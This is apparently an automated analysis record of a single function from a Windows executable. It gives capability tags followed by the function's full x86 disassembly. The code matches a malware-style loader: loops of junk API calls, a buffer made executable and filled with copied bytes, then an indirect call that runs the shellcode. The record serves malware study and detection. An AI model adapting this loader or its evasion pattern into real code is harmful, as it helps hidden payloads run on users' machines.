Function at 0x404594
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x4045c1
inc edi
cmp edi, 0x67d12
jl 0x4045a4
cmp dword [0x28738c4], 0x93
jne 0x4046d8
push 0x403fe0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x403fec
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x404010
push 0x40402c
push 0x404058
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push 0x404084
push esi
call fcn.00405496
push esi
call fcn.00404aa4
push esi
push 0x403f62
push 0x4908d0
call fcn.00404b50
push esi
push esi
call fcn.004054ad
push esi
call fcn.004053a0
push esi
push esi
call fcn.004053cf
push 0xc
call fcn.00405bae
mov edi, eax
add esp, 0x30
cmp edi, esi
je 0x404884
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4046d1
mov ebx, dword [eax]
push eax
call fcn.004055b9
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x4046c2
push edi
call fcn.004055b9
pop ecx
mov eax, dword [0x47bc84]
add dword [0x28738c4], 0x1134b
push 0x404088
mov dword [0x2874700], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x404098
push eax
mov dword [0x2873354], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x28738c4]
mov dword [0x2873348], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x28738c4]
mov dword [0x2873350], eax
push eax
call dword [0x2873348]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
call ebx
dec edi
jne 0x40473d
cmp dword [0x28738c4], esi
jbe 0x4047b7
mov eax, dword [0x2874700]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2873350]
mov byte [ecx + edi], al
cmp dword [0x28738c4], 0x490
jne 0x4047ae
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x28738c4]
jb 0x404761
xor edi, edi
mov eax, dword [0x28738c4]
add eax, edi
cmp eax, 0x8d
jne 0x4047f8
push esi
lea eax, [ebp - 0x42c]
push eax
push esi
push 0x4040a8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x4040ac
push 0x4040c4
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x4047b9
call fcn.004044bb
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x404823
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x2873350], eax
inc edi
cmp edi, 0x674bd
jl 0x404808
push 0x7b
pop edi
cmp dword [0x28738c4], 0x86
jne 0x40486b
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4040e4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x40482f
push 0x40411c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2873350]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], esi
call fcn.00404bf2
push 0x476938
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x40132c
call fcn.00409d7d
int3